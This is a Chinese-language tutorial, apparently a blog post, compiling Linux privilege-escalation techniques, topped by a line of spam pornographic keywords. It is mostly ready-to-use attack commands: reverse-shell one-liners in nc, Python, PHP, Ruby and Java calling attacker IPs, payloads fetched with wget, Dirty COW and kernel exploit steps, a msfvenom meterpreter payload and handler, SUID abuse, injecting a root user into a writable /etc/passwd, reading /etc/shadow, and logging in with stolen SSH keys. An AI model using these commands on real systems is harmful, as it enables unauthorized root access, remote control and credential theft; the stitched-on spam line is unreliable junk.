欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Linux提權(quán)技巧全面匯總

 更新時間:2024年05月02日 11:41:10   作者:Chelth  
在Linux系統(tǒng)中,提權(quán)是指獲取更高的權(quán)限,這通常通過使用特定的命令或工具來完成,在這篇文章中,我們將探討一些常見的Linux提升權(quán)限的技巧:常用提權(quán)命令,反彈shell,獲取完整交互式SHELL,Linux內(nèi)核漏洞提權(quán),臟牛提權(quán),metasploit linux提權(quán),SUID提權(quán),passwd提權(quán),ssh密鑰提權(quán)

在Linux系統(tǒng)中,提權(quán)是指獲取更高的權(quán)限,這通常通過使用特定的命令或工具來完成,在這篇文章中,我們將探討一些常見的Linux提升權(quán)限的技巧:常用提權(quán)命令,反彈shell,獲取完整交互式SHELL,Linux內(nèi)核漏洞提權(quán),臟牛提權(quán),metasploit linux提權(quán),SUID提權(quán),passwd提權(quán),ssh密鑰提權(quán)

常用命令

uname -a #查看內(nèi)核/操作系統(tǒng)/cpu信息
hend -n 1 /etc/issue #查看操作系統(tǒng)版本
cat /proc/version #查看系統(tǒng)信息
hostname #查看計算機名
env #查看環(huán)境變量
ifconfig #查看網(wǎng)卡
netstat -lntp # 查看所有監(jiān)聽端口
netstat -antp # 查看所有已經(jīng)建立的連接
netstat -s # 查看網(wǎng)絡(luò)統(tǒng)計信息
iptables -L #查看防火墻設(shè)置
route -n # 查看路由表
ps -ef # 查看所有進(jìn)程
top # 實時顯示進(jìn)程狀態(tài)
w # 查看活動用戶
id # 查看指定用戶信息
last # 查看用戶登錄日志
cut -d: -f1 /etc/passwd # 查看系統(tǒng)所有用戶
cut -d: -f1 /etc/group # 查看系統(tǒng)所有組
crontab -l # 查看當(dāng)前用戶的計劃任務(wù)
chkconfig –list # 列出所有系統(tǒng)服務(wù)
chkconfig –list | grep on # 列出所有啟動的系統(tǒng)服務(wù)
echo $PATH #查看系統(tǒng)路徑
which nc #查找nc的路徑

反彈shell

bash反彈

http://t.csdn.cn/IAItm

nc反彈

nc -e /bin/sh 192.168.10.128 6666

#但某些版本的nc沒有-e參數(shù)(非傳統(tǒng)版),則可使用以下方式解決
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.128 6666  >/tmp/f

python反彈

import socket,subprocess,os
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( "192.168.10.128" , 6666 ))
os.dup2(s.fileno(), 0 )
os.dup2(s.fileno(), 1 )
os.dup2(s.fileno(), 2 )
p = subprocess.call([ "/bin/bash" , "-i" ])

php反彈shell

php -r '$sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby反彈shell

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i
<&%d >&%d 2>&%d",f,f,f)'

java反彈shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read
line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

xterm反彈shell

xterm -display 10.0.0.1:1

獲取完整交互式SHELL

su root su:必須從終端中執(zhí)行

python偽終端

終端有些時候系統(tǒng)的命令終端不允許直接訪問,可以使用python虛擬化一個終端來執(zhí)行

python -c 'import pty;pty.spawn("/bin/bash")'

python3 -c 'import pty;pty.spawn("/bin/bash")'

Linux反彈shell解決亂碼

bash #從zsh切換到bash
nc -lvp 6666
python3 -c 'import pty;pty.spawn("/bin/bash")'
ctrl+z  #將偽終端放置后臺任務(wù) 
stty -echo raw  #設(shè)置原始格式
fg %1   #再調(diào)用后臺任務(wù)(輸入時無顯示)
reset   #初始化

Linux內(nèi)核漏洞提權(quán)

利用堆棧溢出漏洞,根據(jù)當(dāng)前系統(tǒng)尋找對應(yīng)的漏洞的exp,使用exp對其進(jìn)行提權(quán)。

uname -a    #查看內(nèi)核/操作系統(tǒng)/cpu信息
uname -v
cat /proc/version #內(nèi)核信息
cat /etc/issue    #發(fā)行信息
cat /etc/redhat-release #發(fā)行信息
lsb_release -a     #顯示發(fā)行版本信息

Linux version 3.19.0-15-generic

Ubuntu 15.04 Release

根據(jù)linux的內(nèi)核版本查找對應(yīng)的exp

searchsploit -t Ubuntu 15.04 #只利用標(biāo)題搜索
searchsploit -s Ubuntu 15.04 #執(zhí)行嚴(yán)格搜索,禁止對版本范圍進(jìn)行模糊搜索
searchsploit -s Linux Kernel 3.19.0
searchsploit -x linux/local/37088.c #檢查或打開漏洞
searchsploit -m linux/local/37088.c #將一個漏洞復(fù)制到當(dāng)前的工作目錄
wget http://192.168.10.128/37088.c -O /tmp/37088.c
gcc 37088.c -o exp
chmod +x exp
./exp

臟牛提權(quán) CVE-2016-5195

該漏洞是 Linux 內(nèi)核的內(nèi)存子系統(tǒng)在處理寫時拷貝(Copy-on-Write)時存在條件競爭漏洞, 導(dǎo)致可以破壞私有只讀內(nèi)存映射。黑客可以在獲取低權(quán)限的的本地用戶后,利用此漏洞獲取 其他只讀內(nèi)存映射的 寫權(quán)限,進(jìn)一步獲取 root 權(quán)限。

漏洞范圍

以下是主流發(fā)行版修復(fù)之后的內(nèi)核版本,如果你的內(nèi)核版本低于列表里的版本,表示還存在臟牛漏洞

Centos7 /RHEL7    3.10.0-327.36.3.el7
Cetnos6/RHEL6     2.6.32-642.6.2.el6
Ubuntu 16.10         4.8.0-26.28
Ubuntu 16.04         4.4.0-45.66
Ubuntu 14.04         3.13.0-100.147
Debian 8                3.16.36-1+deb8u2
Debian 7                3.2.82-1
Linux內(nèi)核 >= 2.6.22(2007年發(fā)行,到2016年10月18日才修復(fù))
https://github.com/FireFart/dirtycow/blob/master/dirty.c
wget http://192.168.10.128/dirty.c -O /tmp/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
chmod +x dirty
./dirty 123456
mv /tmp/passwd.bak /etc/passwd
cat /etc/passwd

firefart:fi8RL.Us0cfSs:0:0:pwned:/root:/bin/bash

python3 -c 'import pty;pty.spawn("/bin/bash")'

su firefart

cat /etc/shadow

metasploit linux提權(quán)

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.10.128 LPORT=12345 -f raw > ./shell.php

file_put_contents('../tmp/msf.php',file_get_contents('http://192.168.10.128/shell.php'));

msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.10.128
set lport 12345
exploit

//訪問shell.php文件時就會獲取一個session
shell

提權(quán)命令

使用模塊查詢漏洞

run post/multi/recon/local_exploit_suggester
getuid 查看當(dāng)前用戶
shell 使用終端

https://www.exploit-db.com/exploits/37292
gcc 37292.c -o exp
chmod +x exp
./exp

SUID提權(quán)

SUID是賦予文件的一種權(quán)限,它會出現(xiàn)在文件擁有者權(quán)限的執(zhí)行位上,具有這種權(quán)限的文件會在其執(zhí)行 時,使調(diào)用者暫時獲得該文件擁有者的權(quán)限。也就是如果ROOT用戶給某個可執(zhí)行文件加了S權(quán)限,那么 該執(zhí)行程序運行的時候?qū)碛蠷OOT權(quán)限。

chmod 4750 a.txt
4 說明 SUID 位被設(shè)置

SUID是一種對二進(jìn)制程序進(jìn)行設(shè)置的特殊權(quán)限,可以讓二進(jìn)制程序的執(zhí)行者臨時擁有屬主的權(quán)限(僅對擁有執(zhí)行權(quán)限的二進(jìn)制程序有效)。例如,所有用戶都可以執(zhí)行passwd命令來修改自己的用戶密碼,而用戶密碼保存在/etc/shadow文件中。仔細(xì)查看這個文件就會發(fā)現(xiàn)它的默認(rèn)權(quán)限是000,也就是說除了root管理員以外,所有用戶都沒有查看或編輯該文件的權(quán)限。但是,在使用passwd命令時如果加上SUID特殊權(quán)限位,就可讓普通用戶臨時獲得程序所有者的身份,把變更的密碼信息寫入到shadow文件中。

ls -al /etc/shadow
-rw-r-----

ls -al /bin/passwd
-rwsr-xr-x

查找SUID文件

以下命令可以發(fā)現(xiàn)系統(tǒng)上運行的所有SUID可執(zhí)行文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

/表示從文件系統(tǒng)的頂部(根)開始并找到每個目錄
-perm 表示搜索隨后的權(quán)限
-u = s表示查找root用戶擁有的文件
-type表示我們正在尋找的文件類型
f 表示常規(guī)文件,而不是目錄或特殊文件
2表示該進(jìn)程的第二個文件描述符,即stderr(標(biāo)準(zhǔn)錯誤)

常見suid提權(quán)文件

nmap vim find more less bash cp Nano mv awk man wgets

https://gtfobins.github.io/

sudo install -m =xs $(which less) .

./less file_to_read

passwd提權(quán)

ls -al /etc/passwd
-rw-rw-rw-- 1 cc cc 2242  7月 13 11:23 /etc/passwd  #這里要求至少有w權(quán)限

root:x:0:0:root:/root:/bin/bash

openssl passwd -1 -salt coleak a123  
$1$coleak$ryLF7yBUFqHmhDrl7czEK1
coleak:$1$coleak$ryLF7yBUFqHmhDrl7czEK1:0:0:/root:/bin/bash

wget http://192.168.10.128/a -O /etc/passwd

ssh coleak@192.168.10.157       #su coleak

ssh密鑰提權(quán)

查看擁有bash的用戶

cat /etc/passwd | grep bash
find / -name authorized_keys -type f 2>/dev/null
cd /home/webper/.ssh

.ssh下文件含義

id_rsa(私鑰)服務(wù)器上經(jīng)過rsa算法生成的私鑰。與公鑰是一對的密鑰對,用于連接其他服務(wù)器用。

id_rsa.pub(公鑰)服務(wù)器上經(jīng)過rsa算法生成的公鑰。與私鑰是一對的密鑰對,用于連接其他服務(wù)器用。將主機A的id_rsa.pub內(nèi)容copy到B主機的authorized_keys文件中,這樣A主機就能不通過密碼連接到B主機。

authorized_keys(授權(quán)文件)實現(xiàn)真正無密碼連接,即為授權(quán)文件,當(dāng)把master的公鑰添加到authorized_keys文件中后,下次連接直接輸入ssh master即可,不需要再次輸入密碼。

如果目標(biāo)有使用id_rsa私鑰進(jìn)行登陸,并且我們有權(quán)限讀取

可以將id_rsa下載或復(fù)制下來使用私鑰進(jìn)行登陸

md5sum id_rsa.pub
md5sum authorized_keys
chmod 600 id_rsa
ssh -i id_rsa web1@192.168.10.153

相關(guān)文章

最新評論